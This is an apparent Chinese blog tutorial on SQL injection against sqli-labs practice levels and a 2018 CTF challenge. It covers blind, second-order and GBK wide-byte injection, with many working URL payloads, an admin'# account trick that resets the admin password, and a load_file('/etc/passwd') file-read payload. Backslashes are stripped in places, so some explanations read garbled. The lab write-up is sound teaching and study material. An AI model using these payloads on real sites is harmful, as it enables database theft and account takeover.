您现在的位置是:首页 >技术杂谈 >sql注入(二)盲注,二次注入,宽字节注入网站首页技术杂谈
sql注入(二)盲注,二次注入,宽字节注入
目录
目录
盲注分为:布尔盲注、时间盲注
一、布尔盲注
相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,通过条件猜测数据库的内容
关键函数:lentgh()
ascii()
substr()
布尔盲注的做法
- 使用 length()函数 判断查询结果的长度
- 使用 substr()函数 截取每一个字符,并穷举出字符内容
我们这里用sqli-labs-master靶场的第五关来测试
1.判断库名的长度
payload:
?id=1' and length(database())>8--+
结果:
回显为空说明判断错误
payload:
?id=1' and length(database())=8--+
结果:
存在正确回显说明判断正确,数据库名长度为8
2.判断数据库名
2.1判断数据库名首字符
payload:
?id=1' and ascii(substr(database(),1,1))=115--+
#通过substr函数截取数据库的第一个字符并判断其ascii码是否为115(字母 s)
结果:
2.2 判断数据库名的其余字符
?id=1' and ascii(substr(database(),2,1))=101--+
其余操作相同故不再赘述。最后得到表名:security
同理可爆出表名和数据
?id=1' and if(ascii(substr(user(),1,1))=114--+
#(substr(user(),1,1):截取user函数的第一个字符。(114为r)
一般这种情况下储存的就是root权限内容
二、时间盲注:
适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否为数据库数据。
关键函数:if() lentgh()
ascii()
substr() sleep()
我们这里用sqli-labs-master靶场的第九关来测试
1.判断库名的长度
payload:
?id=1' and if(length(database())>8,sleep(3),0)--+
结果:
页面未进行3秒延迟响应,证明所请求的数据为假。
payload:
?id=1' and if(length(database())=8,sleep(3),0)--+
结果:
这里请求延迟了3秒,证明请求的数据为真。
2.判断库名:
payload:
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+
结果:
延迟3秒证明数据库名的第一个字符为“s”
payload:
?id=1' and if(ascii(substr(database(),2,1))=101,sleep(3),0)--+
延迟3秒证明数据库名的第二个字符为“e”
由上可知数据库名的长度为8,经过8次检测数据库的名字为:“security”
3.判断表名
payload:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit x,y),z,d))=e,sleep(1),0)–-+
# x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位, e:字符对应的ascii码的长度。
例:爆出security数据库下第一个表的第一个字符
payload:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),0)--+
结果:
延时成功,第一个表的第一个字符为e,经查第一个表名为:emails
爆出security数据库下第四个表的第一个字符
payload:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)--+
结果:
这里延迟注入成功,第四个表的第一个字符为u,经查证第四个表的表名为users,此表就是我们要找的用户表。
注意这里爆出表名时最好使用 information_schema.tables 爆出表明,不要使用 information_schema.columns 表爆出表名原因:
使用 information_schema.columns 查询表名时会出现重复表名, information_schema.tables 爆出表明只会出现单一的表名。
4.爆出列名
payload:
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='指定表名' and table_schema=database() limit x,y),z,d))=e,sleep(3),1)–-+
x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位
例:爆出security数据库下user表第一个列的第一个字符
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(3),1)–+
结果:
延迟成功,说明第一例的列名为:‘i’
其余的操作都相同,故这里不再赘述。
5.爆数据
?id=1' and If(ascii(substr((select 列名 from users limit x,y),z,d))=e,sleep(2),1)--+
三、二次注入
1.原理:
主要分两步,第一步就是进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,但是数据库保存的数据仍然具有恶意内容。第二步就是在下一次进行数据的查询过程中,直接从数据库中取得恶意数据(开发者认为数据是可信的),这样就造成了SQL的二次注入。
即第一次注入是将恶意代码通过正常方式注入到数据库当中(通过注册框将含有恶意语句的用户注入到数据库的用户表内)。
第二次注入直接从数据库中取得恶意数据对原本数据库内的数据进行改变。
这里用sqli-labs-master靶场的第24关来测试举例:
2. 关卡分析
2.1 登陆界面
源码分析:
将接收到的用户及密码内容转交给login.php 文件
在login.php 文件中将所输入的用户及密码中的内容通过mysql_real_escape_string进行过滤。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- x00
- '
- "
- x1a
之后将过滤的内容传到数据库,再进行数据库users表的查询看是否存储到users表中。
查询后没问题就将未过滤的username写入session,之后就跳转到 logged-in.php文件中。(此文件主要负责修改密码)
2.2 修改密码界面
源码分析:
首先判断session是否存在,如果不存在需要你在index.php文件中重新登录,之后将接收到的原密码和修改后的密码用mysql_real_escape_string函数进行过滤,再使用sql语句将密码在数据库中修改。
2.3 用户注册界面
源码分析:
这里将输入的新用户及密码同样进行了过滤,之后使用sql语言进行查询判断。
3. 开始二次注入
首先查看用户表我们用admin用户作为注入点写入恶意代码。
注入思路:
在注册时使用 admin'# 为用户名进行注册,之后在修改 admin’# 密码时由于修改语句为:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里的 $username 为admin'#会出现以下结果:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
这里可以看到引号将用户 admin 闭合且用#将之后的语句全部注释掉,所以修改密码时只能通过用户名来进行查找并修改,改密码时前面的用户名变成了admin,顺势就将用户名为admin的用户密码在数据库中进行了修改。
第一次注入:我们先通过注册界面通过用户信息将恶意数据注册到数据库中。
登陆查看用户信息是否注入成功
第二次注入:修改密码时直接从数据库中取得恶意用户数据,对原本数据库内的数据进行更改。
修改用户admin'#的密码看用户admin的密码是否会被修改,这里将admin'#的密码修改为666666
4. 检测
查看数据库的内容:
发现用户 admin'# 的密码未被修改,但用户 admin 的密码被修改,注入成功。
登陆检测
登陆成功,证明admin的密码确实被修改,注入成功。
注意一点:
在注册时 username 已经被 mysql_real_escape_string 函数过滤过一遍为什么还会注入成功呢?
原因在注入时 admin'# 会被函数转译为 admin'# 会导致注入失败,但是当 admin'# 进入数据库是转义符 会被丢弃导致注入成功。
二次注入实例二、
这里的示例为 网鼎杯 2018 Comment二次注入下载地址为:GitHub - CTFTraining/wdb_2018_comment: 网鼎杯 2018 Comment
1源码恢复
首先需要知道漏洞源码来分析漏洞类型, 我们可以通过扫描根目录查看是否有源码。
这里我们使用了扫描工具:airmap
扫描结果:
程序中存在git有可能已经被提交,但我们查看到网页提示文档未进行commit,即其程序的内容还被保留在本地的缓存中,所以我们要先回复一下git泄漏的文件,这里我们使用githacker进行恢复。
恢复后的文件
//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
这里的write和comment分别对应发帖和留言界面 可以看到所有参数都进行了addslashes函数处理
2. 登陆界面弱口令爆破
我们在注入时突然弹出用户登陆框不过这里的用户名、及一部分密码已经给出,方便起见我们使用burp进行弱口令爆破,这里不赘述。
爆破出来用户密码结果为:zhangwei666
3. 分析源码
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
这里为发帖框源码,可以看到这里接收的title、category、content函数均被addslashes过滤 ,所以无法在此处进行直接注入。之后将过滤的内容插入到board表中。
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号 '
- 双引号 "
- 反斜杠
- NULL
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
这里为留言框源码,content 主要是用来接收留言板输入的内容。
$category = mysql_fetch_array($result)['category'];主要看这段语句表示将插入到数据库的语句重新拿出来使用,这样的话我们就可以进行二次注入,所以他的注入点就在 $sql 插入数据库语句的这一部分。
4.开始二次注入
4.1 注入思路
我们通过源码可知 $category = mysql_fetch_array($result)['category']; 这段是将之前存入到数据库$category的数据重新拿出来使用。而且下面插入数据库的语句:
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
刚好就将 $category 数据直接使用,我们知道 $category 中的数据是通过之前的发帖框中由用户直接发帖输入的,所以 $category 数据可以作为第一次注入的注入点将恶意语句直接进行注入。
我们再看他插入数据库的语句的顺序,首先是被调用的 category 恶意语句,然后是留言框输入的content中的内容,之后是 bo_id字段。
注入思路是通过输入的 category 字段的内容在第二次注入时从数据库中调用将 contet 字段仿造改写成注入语句,并将原本的 contet 字段注释掉。
$sql = "insert into comment
set category = '$category', 在第一次注入时将category写成 ',content =注入语句,/*
content = '$content', 在第二次从留言板注入时使用 */# 将前后语句都注释掉只留下注入语句。
bo_id = '$bo_id'";
注入后的语句
insert into comment
set category = ' ',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
4.2 第一次注入
首先在 $category 中插入放仿写 content 的恶意语句
结果:
这里可以看到仿写的 content 语句已经成功被提交且被存放在数据库中。
4.2 第二次注入
',content=(select(load_file("/etc/passwd"))),/*
注入结果:
这里成功得到了用户信息,证明将 content 字段仿写成功,注入成功。
我们还可以读取password:
payload:
',content=(select(load_file("/etc/passwd"))),/*
结果:
以此类推,我们还可以查询到数据库的其他信息,这里就不再做演示。
注意一点:
我们输入的信息全部被addslashes函数过滤了一遍为什么还可以注入成功呢?
先addslashes转义存入数据库,数据库会将转义符丢弃,再从数据库中调用数据就是不带转义符的数据,故注入成功。
四、宽字节注入
1.前言:
宽字节:在了解宽字节注入之前,我们要了解一下什么是宽字节,相对于单字节,我们引入一个字符数大小为两个字节的为宽字节,比如GBK编码,我们汉字通常使用的就是GBK编码,也就是说一次性会读取两个字节。
在mysql中,用于过滤payload的转义函数(即在字符串中的符号前加上””)有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。
那我们该如何绕过过滤函数呢?
* 想办法给前面再加一个
(或单数个即可),变成
\'
,这样被转义了,
'
逃出了限制
* 想办法把去掉
。
2.注入原理
产生宽字节注入的原因涉及了编码转换的问题,当我们的mysql使用GBK编码后,同时两个字符的前一个字符ASCII码大于128时,会将两个字符认成一个汉字,如果存在过滤我们输入的函数(addslashes()、mysql_real_escape_string()、mysql_escape_string()、Magic_quotes_gpc)会将我们的输入进行转义,我们就可以考虑通过宽字节注入转汉字的方法进行过滤。
例:
注入时 ' 会被转义字符转义所以我们可以通过给 ' 前面加上 %df 的方式进行宽字节注入
%df'(%df%27) ' 被转义字符转义-->%df' (%df%5c%27) --> 这时由于myaql使用的为GBK编码导致 %df(%df%5c)会被识别成一个汉字“運” --> 变成 運' 这时 ' 就成功逃逸了出来可以进行注入。
那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以,%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。
这里使用 sqli-labs 的33关进行测试
payload
id=-1%df' union select 1,2,3--+
这里查询的是可以在前台显示的列,注入成功,我们可以看到框住的部分就是宽字节转换成的汉字。
注意:GB2312与GBK的不同
曾经有一个问题一直困扰我很久。
gb2312和gbk应该都是宽字节家族的一员。可以把数据库编码也改成gb2312,注入是不成功的。
为什么,这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7
,低位范围是0xA1~0xFE
,而是0x5c,是不在低位范围中的。所以,
0x5c
根本不是gb2312中的编码,所以自然也是不会被去除的。
所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c
的编码,就可以进行宽字符注入。